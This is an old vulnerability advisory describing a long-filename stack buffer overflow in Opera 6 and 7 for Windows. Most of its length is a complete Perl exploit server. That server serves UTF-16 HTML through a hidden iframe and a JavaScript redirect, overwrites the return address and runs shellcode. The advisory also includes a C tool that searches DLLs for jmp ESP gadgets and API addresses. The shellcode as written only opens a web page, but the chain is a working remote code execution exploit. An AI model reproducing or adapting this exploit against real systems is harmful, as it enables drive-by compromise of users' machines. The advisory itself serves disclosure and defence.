12th Mar 2003 [SBWID-6054]
COMMAND
Opera long filename download buffer overflow
SYSTEMS AFFECTED
Opera for Windows
Version: 7.02 build 2668
7.02 bork build 2656b
7.01 build 2651
6.05 build 1140
PROBLEM
imagine (Operash webmaster) found following buffer overflow in Opera
Web browser for Windows, as reported by nesumin [[email protected]]:
Opera for Windows has the pernicious security hole.
Opera does not check the filename's length when it downloads files.
Therefore, if the file with "long filename" is downloaded while Opera
shows the "Download Dialog", a buffer overflow occurs on the stack.
It can overwrite saved RET address on the stack, and it enables to
execute the arbitrary code.
If the Opera user downloads the file which has long filename with
malicious code inside, this vulnerability would allow the attacker to
make your computer virus infected or destructed, etc.
Tested on :
Opera
Opera7.02 build 2668
Opera7.02 bork build 2656b
Opera7.01 build 2651
Opera6.05 build 1140
English edition and Japanese edition.
Platform
Windows98SE JP
Windows2000 Pro SP3 JP
WindowsXP Home SP1 JP
Vulnerable in tested :
Opera7.02 build 2668
Opera7.02 bork build 2656b
Opera7.01 build 2651
Opera6.05 build 1140
Unvulnerable in tested :
Non
Details
=======
* Reproduce
Step 1. Request file.
Step 2. Response.
Step 3. Try to display download dialog.
Step 4. Buffer Overflow occurs if it has long filename.
Opera does not check the length of the name of a file to download.
If Opera requests the file and the server returns a response, the
"Download Dialog" will be displayed depending on the contents of the
response or file extensions.
Then, it writes the temporary filename for checking file-type into the
buffer on a stack. This temporary filename is generated based on the
temporary directory name specified with the user environment variable
and based on the download filename. (The file name is changed into
16bit WIDE characters)
Buffer overflow will occur on a stack, when the long file name (more
than the buffer size) is specified. Since the length of the file name
is not checked there.
The RET address is saved on the 4 bytes area of offsets 214H from the
buffer. The offset from the Filename or the File Extension depends on
the length of the temporary directory name.
Shortly, there is the temporary directory name in the top of the
buffer.
And in the process of managing overwritten RET address, ESP register is
pointing the next RET address.
Therefore, it is possible to execute the arbitrary code by overwriting
the "jmp ESP" op-code address with the RET address, and setting the
code to the next RET address.
It could be easy to execute arbitrary malicious codes if the attacker
specifies the filename by "Inline Frame", "Frame", "Link", "Script" or
etc.
But it's slightly difficult to execute arbitrary codes if the filename
is specified by a Meta data such as "Content-Disposition" header or
etc. That's because the filename will be changed into the WIDE
Character with "System Locale".
Although in this case, it is by no means safe because the stack
corruption, like overwriting RET address by the buffer overflow, can't
prevent.
* Opera 7
[Windows 2000, Windows XP]
It has the area to which'd be referred after overwriting. The 4 bytes
area of offset 04H from the next 4bytes area of the RET address.
[Windows 9x]
It has the area to which'd be referred after overwriting. The 4 bytes
area of offset 04H from the next 4bytes area of the RET address, and
the area after offset 2CH. The heap includes the same data of
downloaded filename which the address ESP+54H points the head address.
* Opera 6
If the filename includes ".", the offset value of the RET address
starts from next of last ".".
If "Encode all addresses with UTF-8" or "Determine action by MIME type"
is disabled, it could be difficult to execute codes because the
filename will be changed into the WIDE Character without "URL decode".
Although in this case, it is by no means safe because the stack
corruption, like overwriting RET address by the buffer overflow, can't
prevent.
[Windows 2000, Windows XP]
It has the area to which'd be referred after overwriting. The 4 bytes
area of offset 04H from the next 4bytes area of the RET address.
[Windows 9x]
The offset to the RET address is 244H bytes.
You can avoid the "Exception" by preparing a writable address value if
the latter area of RET|4bytes|4bytes address area is referred to.
Sample Code : (see below)
dlfnbof.pl
This sample is a little HTTP server which returns HTML with the exploit
code that would run Internet Explorer using this vulnerability. It's
made with Perl and checked on Active Perl5.6.x for Windows.
* This source code is just a sample for checking this vulnerability.
* We will take no responsibility for any kinds of disadvantages
by using this code.
Special thanks
==============
:: Operash ::
[ Unofficial Opera's Bug and Security information site for Japanese people ]
imagine (Operash webmaster)
melorin
piso (sexy)
Sample Code
============
#!/usr/bin/perl
#==========================================================
# Synopsis : Sample exploit code of
# "[Opera 7/6] Long Filename Buffer Overflow
# Vulnerability in Download"
# Version : Opera 6 and Opera 7
# Vendor : Opera Software ASA
# Usage : perl this -h
# -g option, this sample uses attached program, gpa.exe(gpa.c).
# gpa.exe(gpa.c) is a little program to get addresses for Windows.
# Comment : This sample is a little HTTP server which returns
# HTML with the exploitcode that would run
# Internet Explorer using this vulnerability.
# Example : [1] Execute "perl this -p 10080".
# [2] Open "http://127.0.0.1:10080/" by Opera.
# [3] If the JavaScript, Frame and IFrame are off,
# click the link below, "click here".
#
# by nesumin <[email protected]>
#==========================================================
use IO::Socket;
use IO::Select;
use Getopt::Std;
my ($os, $serveraddr, $opera, $raiseexception, $port,$getaddress,
$ADDR_RET, $ADDR_GETPROCADDRESS, $ADDR_LOADLIBRARY);
#---------------------
# default setting
#---------------------
# server
$serveraddr = "127.0.0.1";
$port = 10080;
# opera version(for windows 9x)
# (6: opera6, 7: opera7)
$opera = 7;
# OS, kernel32.dll or other.
# win2k sp3 jp
$ADDR_RET = 0x77E67D04;
$ADDR_LOADLIBRARY = 0x77E6FEE8;
$ADDR_GETPROCADDRESS = 0x77E7094C;
#win98 jp
#$ADDR_RET = 0xBFF8F981;
#$ADDR_LOADLIBRARY = 0xBFF77750;
#$ADDR_GETPROCADDRESS = 0xBFF76E28;
$getaddress = "gpa.exe";
$raiseexception = 1;
#----------------------------------------------------------
print STDERR (" ____________________________.:.____________________________ \n");
print STDERR ("| |\n");
print STDERR ("| [Opera 7/6] Long Filename Buffer Overflow Vulnerability |\n");
print STDERR ("* *\n");
print STDERR ("* This sample is a little HTTP server which returns HTML *\n");
print STDERR ("* with the exploitcode that would run Internet Explorer *\n");
print STDERR ("| using this vulnerability. |\n");
print STDERR ("|____________________________________.[ coded by nesumin ]._|\n\n");
my ($ADDR_OFFSET, $CODE_OFFSET, $FAKE_ADDR, $TEMPPRELEN,$tplhtml,
$resheader, $url, $fakeres, $data, $code, $exploithtml, $timeout,$TEMPDIRLEN);
getopts('hg:o:p:w:t:s:');
# -h usage
if (defined($opt_h) && $opt_h eq "1")
{
Usage();
exit(0);
}
# -g
if (! defined($opt_g) || $opt_g ne "1")
{
die("cannot find \"$getaddress\"\n") unless (-x $getaddress);
my $tmp = qx($getaddress);
if ($tmp eq "" || $tmp!~m~^(0x[\dA-F]{8}),(0x[\dA-F]{8}),(0x[\dA-F]{8})~i)
{
die("cannot get address");
}
$ADDR_RET = hex($1);
$ADDR_LOADLIBRARY = hex($2);
$ADDR_GETPROCADDRESS = hex($3);
}
printf STDERR ("RET ADDRESS\t\t0x%08X\n", $ADDR_RET);
printf STDERR ("LOADLIBRARY\t\t0x%08X\n", $ADDR_LOADLIBRARY);
printf STDERR ("GETPROCADDRESS\t\t0x%08X\n", $ADDR_GETPROCADDRESS);
# -t
# user's temp directory length
# depends on victim' environment variable
if (defined($opt_t))
{
$TEMPDIRLEN = $opt_t+0;
#$TEMPDIRLEN = 0x0f; # "c:\windows\temp"
#$TEMPDIRLEN = 0x22; # "C:\DOCUME~1\********\LOCALS~1\Temp"
}
else
{
$TEMPDIRLEN = length($ENV{'TEMP'});
}
printf STDERR (qq~TEMP Length\t\t%d\n~, $TEMPDIRLEN);
# -o opera version
if (defined($opt_o))
{
if ($opt_o eq "6")
{
$opera = 6;
}
elsif ($opt_o eq "7")
{
$opera = 7;
}
print STDERR ("Opera version(for 9x)\t$opt_o\n");
}
# OS
$os = (exists($ENV{OS}) && $ENV{OS} =~ /^Windows_NT/) ? 1 : 0;
# -p port
$port = $opt_p + 0 if (defined($opt_p));
die("portno is not correct\n") if ($port < 1 && 65535 < $port);
# -s server
$serveraddr = $opt_s if (defined($opt_s) && $opt_s ne "");
print STDERR ("server\t\t\t$serveraddr:$port\n");
#----------------------------------------------------------
# open http://www.msn.com
$code = pack("C*",
0xEB,0x3E,0x5B,0x53,0xB8,0xAA,0xAA,0xAA,0xAA,0xFF,0xD0,0x8B,0xD0,0x52,0x83,0xC3,
0x0B,0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF0,0x5A,0x83,0xC3,0x09,
0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF8,0x33,0xC0,0x50,0x83,0xC3,
0x05,0x53,0x83,0xC3,0x13,0x53,0x53,0x40,0x50,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7,
0xE8,0xBD,0xFF,0xFF,0xFF
);
$code .= pack("a*x" x 5, qw~msvcrt.dll _spawnlp exit http://www.msn.com explorer.exe~);
$code=~s~\xAA\xAA\xAA\xAA~pack("L", $ADDR_LOADLIBRARY)~eg;
$code=~s~\xBB\xBB\xBB\xBB~pack("L", $ADDR_GETPROCADDRESS)~eg;
$ADDR_OFFSET = 0x0107;
$TEMPPRELEN = 0x0c;
$ADDR_OFFSET -= ($TEMPDIRLEN + $TEMPPRELEN);
$FAKE_ADDR = 0x00410041; # writable address.
$raiseexception and $ADDR_RET = 0xfefefefe;
#$raiseexception and $FAKE_ADDR = 0xfefefefe;
$resheader = "HTTP/1.0 200 OK\n";
$resheader .= "Content-type: text/html; charset=UTF-16\n";
$resheader .= "Pragma: no-cache\n";
$resheader .= "Connection: close\n";
$resheader .= "\n";
$fakeres = "HTTP/1.0 200 OK\n";
$fakeres .= "Content-type: application/x-AAAAAAAAAA\n";
$fakeres .= "Pragma: no-cache\n";
$fakeres .= "Connection: close\n";
$fakeres .= "\n";
$fakeres .= "\xff"; # for Opera 6, binary.
$fakeres .= "Love & Peace :)\n";
$url = "http://" . $serveraddr . ":" . $port . "/";
$url=~s~(.)~$1\x00~sg;
$tplhtml = <<_HTML_;
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-16">
<title></title>
</head>
<script language="JavaScript">
<!--
document.location.href = "{url}";
//-->
</script>
<noscript>
<frameset>
<frame src="{url}">
</frameset>
<noframe>
<body>
<iframe src="{url}" width="0" height="0"></iframe>
<a title="click here" href="{url}">click here</a>
</body>
</noframe>
</noscript>
</html>
_HTML_
$tplhtml=~s~(.)~$1\x00~gs;
my $replace = "{url}";
$replace=~s~(.)~$1\x00~gs;
#----
$timeout = undef;
my (%CLIENTS,$readbuf);
my $ssocket = new IO::Socket::INET(LocalPort=>$port, Listen=>SOMAXCONN, Reuse=>1) || die("$!");
print STDERR ("-" x 62, "\n");
print STDERR ("server started\n");
my $selecter = IO::Select->new($ssocket);
while (1)
{
foreach my $active (@{(IO::Select->select($selecter,$timeout,undef,undef))[0]})
{
if ($active == $ssocket)
{
my $csocket = $ssocket->accept();
if (! defined($csocket))
{
print STDERR ("accept error $!\n");
next;
}
print STDERR ("incoming client, $active\n");
$csocket->autoflush();
$selecter->add($csocket);
}
else
{
if ($active->recv($readbuf, 1024) && 0 < length($readbuf))
{
$CLIENTS{$active} .= $readbuf;
if (0 <= rindex($CLIENTS{$active}, "\r\n\r\n"))
{
if ($CLIENTS{$active}=~m~^GET (\S+) HTTP~is)
{
print STDERR ("request\n$CLIENTS{$active}\n");
if ($1 eq "/")
{
$CLIENTS{$active}=~m~\nUser-Agent:\s+(.+)~i;
my $ua = $1;
if (!defined($opt_o) && $ua ne '')
{
#opera
$opera = $ua =~m~Opera[/ ]?6~i ? 6 : 7;
#$os = $ua =~m~Windows ?(?:NT|XP|2000)~i ? 1 : 0;
}
if ($os == 0) # 9x
{
if ($opera == 7)
{
$data = $code;
$data .= "\x90" x (($ADDR_OFFSET-1)*2-length($data));
$data .= pack("L", $ADDR_RET);
$data .= pack("C*", 0x90,0x90);
$data .= pack("C*", 0xEB,0x04); # jmp
$data .= pack("L", $FAKE_ADDR);
# call dword ptr[esp+54h] // [esp+54h] is another pointer that is same filename data on heap.
$data .= pack("C*", 0xFF, 0x54, 0x24, 0x54);
}
elsif ($opera == 6)
{
$data = "\x41\x00" x ($ADDR_OFFSET+24);
$data .= pack("L", $ADDR_RET);
$data .= $code;
}
}
elsif ($os == 1) # 2k, xp
{
$data = "\x41\x00" x ($ADDR_OFFSET-1);
$data .= pack("L", $ADDR_RET);
$data .= pack("C*", 0xEB,0x06); # jmp code
$data .= pack("C*", 0x90,0x90);
$data .= pack("L", $FAKE_ADDR);
$data .= $code;
}
$data = $url . $data;
$data .= "\x90" if length($data)&1;
$exploithtml = $tplhtml;
$exploithtml=~s~$replace~$data~gs;
$exploithtml = pack("C*",0xff,0xfe) . $exploithtml;
$active->send($resheader . $exploithtml);
print STDERR ("send response\n$resheader$exploithtml\n");
print STDERR ("$url\n");
}
else
{
$active->send($fakeres);
print STDERR ("response\n$fakeres\n");
}
}
}
elsif (0xffff > length($CLIENTS{$active}))
{
next;
}
else
{
$active->send("HTTP/1.0 400 Bad Request\r\n\r\n\r\n");
}
}
print STDERR ("client closed, $active\n");
delete($CLIENTS{$active});
$selecter->remove($active);
$active->close();
}
}
}
$ssocket->close();
exit(0);
sub Usage
{
printf STDERR ("Usage: perl %s [-h] [-g] [-s servername] [-p port]\n", ($0=~m~([^\\/]+?)$~)[0]||"/");
print STDERR (" [-w os] [-t length_of_tempdir]\n");
print STDERR ("Options:\n");
print STDERR (" -h print Usage\n");
print STDERR (" -g don't use gpa.exe\n");
print STDERR (" -s specify server name (default: $serveraddr)\n");
print STDERR (" -p specify server port(1024-65535), (default: $port)\n");
print STDERR (" -o specify Opera version {6|7}, (default: 7)\n");
printf STDERR (" -t specify length of temporary directory name, (default: %d)\n",length($ENV{'TEMP'}));
print STDERR ("\n");
}
__END__
Tool to check return adresses
=============================
//
// This little program returns the addresses of LoadLibraryA(),
// GetProcAddress(), and "jmp ESP" on your Windows.
//
// If your compiler cannot use SEH,
// please comment out "#define USE_SEH"
//
#include <stdio.h>
//===================================================================//
// a general routine, search in memory
#include <windows.h>
#include <psapi.h>
#define USE_SEH
//---------- data for search address ------------
const unsigned char *DllList[]={
"kernel32.dll",// do not edit kernel32.dll
"user32.dll",
"gdi32.dll",
"advapi.dll",
"imm32.dll",
"winmm.dll",
"ole32.dll",
"netapi32.dll"
};
#define DllCount (sizeof(DllList)/sizeof(unsigned char *))
const unsigned char *JmpESPList[3]={
"\xFF\xD4",
"\xFF\xE4",
"\x54\xC3"
};
int isAddrAvailableChar(unsigned long IN_addr)
{
// exclude 0x0000,0xffff,0x002f,0x003e,0x0040,0x0025
return(
(IN_addr & 0x0000ffff)
&& (IN_addr & 0xffff0000)
&& ((IN_addr & 0x0000ffff) != 0x0000ffff)
&& ((IN_addr & 0xffff0000) != 0xffff0000)
&& ((IN_addr & 0x0000ffff) != 0x0000002f)
&& ((IN_addr & 0xffff0000) != 0x002f0000)
&& ((IN_addr & 0x0000ffff) != 0x00000022)
&& ((IN_addr & 0xffff0000) != 0x00220000)
&& ((IN_addr & 0x0000ffff) != 0x0000003e)
&& ((IN_addr & 0xffff0000) != 0x003e0000)
&& ((IN_addr & 0x0000ffff) != 0x00000040)
&& ((IN_addr & 0xffff0000) != 0x00400000)
&& ((IN_addr & 0x0000ffff) != 0x00000025)
&& ((IN_addr & 0xffff0000) != 0x00250000)
);
}
unsigned char * searchInMem(unsigned char *IN_start,int IN_size, const unsigned char *IN_data, int IN_data_size)
{
unsigned char *cur_pos = IN_start + IN_size - IN_data_size;
#ifdef USE_SEH
__try
{
#endif
while (cur_pos >= IN_start)
{
if ( 0 == memcmp(cur_pos, IN_data, IN_data_size)
&& isAddrAvailableChar((unsigned long)cur_pos) )
return cur_pos;
--cur_pos;
}
#ifdef USE_SEH
}
__except((STATUS_ACCESS_VIOLATION == GetExceptionCode())
? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
}
#endif
return 0;
}
int getAddress(unsigned long *OUT_jmp,unsigned long *OUT_loadlib,unsigned long *OUT_getproc)
{
int i,j;
HMODULE hlist[DllCount];
OSVERSIONINFO info;
info.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&info);
memset(hlist,0,sizeof(hlist));
if (info.dwPlatformId==VER_PLATFORM_WIN32_NT)
{
// NT
MODULEINFO minfo;
HMODULE psapi = LoadLibrary("psapi.dll");
BOOL (WINAPI *fp_GetModuleInformation)(HANDLE,HMODULE,LPMODULEINFO,DWORD);
fp_GetModuleInformation = (void*)GetProcAddress(psapi,"GetModuleInformation");
for (i=0;i<DllCount;++i)
{
hlist[i] = LoadLibrary(DllList[i]);
if (hlist[i])
{
fp_GetModuleInformation(GetCurrentProcess(),hlist[i],&minfo,sizeof(MODULEINFO));
for (j=0;j<3 && !(*OUT_jmp = (unsigned long)searchInMem((void*)hlist[i],minfo.SizeOfImage,JmpESPList[j],2));++j);
if (*OUT_jmp)
{
break;
}
}
}
FreeLibrary(psapi);
}
else
{
// 9x
MEMORY_BASIC_INFORMATION minfo;
for (i=0;i<DllCount;++i)
{
hlist[i] = LoadLibrary(DllList[i]);
if (hlist[i])
{
VirtualQuery(hlist[i],&minfo,sizeof(MEMORY_BASIC_INFORMATION));
for (j=0;j<3 && !(*OUT_jmp = (unsigned long)searchInMem((void*)hlist[i],minfo.RegionSize,JmpESPList[j],2));++j);
if (*OUT_jmp)
{
break;
}
}
}
}
// kernel32.dll
*OUT_loadlib = (unsigned long)GetProcAddress(hlist[0],"LoadLibraryA");
*OUT_getproc = (unsigned long)GetProcAddress(hlist[0],"GetProcAddress");
for (i=0;i<DllCount;++i)
if (0 != hlist[i])
FreeLibrary(hlist[i]);
return (*OUT_jmp && *OUT_loadlib && *OUT_getproc) ? 1 : 0;
}
//----------------------------------------------------
int main()
{
unsigned long jmpesp,loadlib,getproc;
if (!getAddress(&jmpesp,&loadlib,&getproc))
return -1;
printf("0x%X,0x%X,0x%X",jmpesp,loadlib,getproc);
return 0;
}
SOLUTION
Vendor said that this issue would be fixed in the next version due out
very soon.